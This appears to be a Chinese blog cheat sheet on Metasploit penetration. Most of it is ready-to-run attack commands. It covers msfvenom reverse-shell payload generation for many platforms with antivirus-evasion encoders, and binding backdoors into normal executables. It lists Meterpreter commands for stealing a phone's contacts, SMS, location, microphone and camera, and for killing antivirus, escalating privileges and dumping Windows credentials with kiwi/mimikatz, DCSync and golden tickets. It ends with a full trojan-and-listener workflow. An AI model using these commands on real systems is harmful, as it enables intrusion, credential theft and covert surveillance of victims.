Bootstrap

【内网渗透】MSF渗透阶段的常用指令笔记

目录

渗透阶段划分

msfvenom 常用参数

各平台生成payload命令

Meterpreter

Meterpreter的常用命令

基本命令

常用命令

针对安卓手机的一些命令

针对Windows的一些命令

文件系统命令

生成木马反弹shell(以linux靶机为例)

木马生成

配置监控

攻击利用


渗透阶段划分

漏洞利用分为 前期交互 情报搜集 威胁建模 漏洞分析 渗透利用 后渗透利用 报告 这几个阶段

正如标题所说,本篇文章讨论的是渗透利用阶段

msfvenom 常用参数

-l 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

-p 指定需要使用的payload(攻击荷载)。

-f 指定输出格式

Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;

Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;

-e 指定需要使用的encoder(编码器)编码免杀。

-a 指定payload的目标架构

选择架构平台:

x86 | x64 | x86_64 Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

-o 保存payload文件输出。

-b 设定规避字符集,比如: '\x00\xff'避免使用的字符

-n 为payload预先指定一个NOP滑动长度

-s 设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。

-i 指定payload的编码次数

-c 指定一个附加的win32 shellcode文件

-x 指定一个自定义的可执行文件作为模板 例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-k 保护模板程序的动作,注入的payload作为一个新的进程运行 例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-v 指定一个自定义的变量,以确定输出格式


各平台生成payload命令


Windows

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe


Mac

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho


Android

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk


Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1


Linux

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf


php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php


aspx

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx


JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp


war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war


nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js


python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py


perl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl


ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb


lua

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua


windows shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


linux shellcode

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


mac shellcode

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

Meterpreter

Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于远程执行命令
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展,所以Ruby语言还很有必要了解下。

Meterpreter的常用命令

基本命令

help# 查看Meterpreter帮助

background#返回,把meterpreter后台挂起
bgkill# 杀死一个 meterpreter 脚本
bglist#提供所有正在运行的后台脚本的列表
bgrun#作为一个后台线程运行脚本
channel#显示活动频道
sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k  number #与会话进行交互
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
 run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
 irb# 进入 Ruby 脚本模式
 read# 从通道读取数据write# 将数据写入到一个通道
 run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
use# 加载 meterpreter 的扩展
load/use#加载模块
Resource#执行一个已有的rc脚本

常用命令

针对安卓手机的一些命令

获取手机通讯录: dump_contacts

获取短信记录:dump_sms

控制实验手机发短信:send_sms -d 15330252525 -t "hello"

获取实验手机GPS定位信息:geolocate

获取实验手机Wi-Fi定位信息:wlan_geolocate

控制实验手机录音:record_mic -d 5

获取实验手机相机设备:webcam_list

控制实验手机拍照 :webcam_snap

直播实验手机摄像头:webcam_stream

针对Windows的一些命令

查看进程:ps

查看当前进程号:getpid

查看系统信息:sysinfo

查看目标机是否为虚拟机:run post/windows/gather/checkvm

查看完整网络设置:route

查看当前权限:getuid

自动提权:getsystem

关闭杀毒软件:run post/windows/manage/killav

启动远程桌面协议:run post/windows/manage/enable_rdp

列举当前登录的用户:run post/windows/gather/enum_logged_on_users

查看当前应用程序:run post/windows/gather/enum_applications

抓取目标机的屏幕截图:load espia ; screengrab

获取相机设备:webcam_list

控制拍照 :webcam_snap

直播摄像头:webcam_stream

控制录音:record_mic

查看当前处于目标机的那个目录:pwd

查看当前目录:getlwd

导出当前用户密码哈希 run hashdump

用户名:SID:LM哈希:NTLM哈希:::

也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump

抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin

直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)

首选终端输入 load kiwi 加载kiwi

creds_all:列举所有凭据

creds_kerberos:列举所有kerberos凭据

creds_msv:列举所有msv凭据

creds_ssp:列举所有ssp凭据

creds_tspkg:列举所有tspkg凭据

creds_wdigest:列举所有wdigest凭据

dcsync:通过DCSync检索用户帐户信息

dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID

golden_ticket_create:创建黄金票据

kerberos_ticket_list:列举kerberos票据

kerberos_ticket_purge:清除kerberos票据

kerberos_ticket_use:使用kerberos票据

kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令

lsa_dump_sam:dump出lsa的SAM lsa_dump_secrets:dump出lsa的密文

password_change:修改密码

wifi_list:列出当前用户的wifi配置文件

wifi_list_shared:列出共享wifi配置文件/编码

文件系统命令

cat c:\boot.ini#查看文件内容,文件必须存在

del c:\boot.ini #删除指定的文件

upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\windows\system32

download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\boot.ini /root/或者download C:\"ProgramFiles"\Tencent\QQ\Users\295**125\Msg2.0.db /root/

edit c:\boot.ini # 编辑文件

getlwd#打印本地目录

getwd#打印工作目录

lcd#更改本地目录

ls#列出在当前目录中的文件列表

lpwd#打印本地目录

pwd#输出工作目录

cd c:\ #进入目录文件下

rm file #删除文件

mkdir dier #在受害者系统上的创建目录

rmdir#受害者系统上删除目录

dir#列出目标主机的文件和文件夹信息

mv#修改目标主机上的文件名

search -d d:\www -f web.config #search 文件,如search -d c:\ -f.doc

meterpreter > search -f autoexec.bat #搜索文件

meterpreter > search -f sea.bat c:\xamp\

enumdesktops #用户登录数

生成木马反弹shell(以linux靶机为例)

木马生成

1. 生成一个Linux后门
2. msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={监控IP} LPORT={监控端口} -f elf > shell.elf

配置监控

1. 启动msf   终端内输入:msfconsole 启动msf

2. 载入监控模块  msf中输入:  use exploit/multi/handler

3. 加载payload  msf终端中输入:set payload linux/x64/meterpreter/reverse_tcp

4. 配置payload  msf终端中输入:show options

5. 配置payload监控IP msf终端中输入: set  lhost  {监控IP}

6. 配置payload监控端口  msf终端中输入:set lport  {监控端口} (注意这里要和木马配置时使用的端口相同&如果使用内网穿透服务填写转发后的端口)

7. 检查payload配置  msf终端中输入:show options

8. 执行监控  msf终端中输入: run

攻击利用

1. 将木马上传到靶机 

   通过python创建一个简单web服务

    python2 -m SimpleHTTPServer 80

2. 在靶机上执行木马 

3. 完成攻击利用

;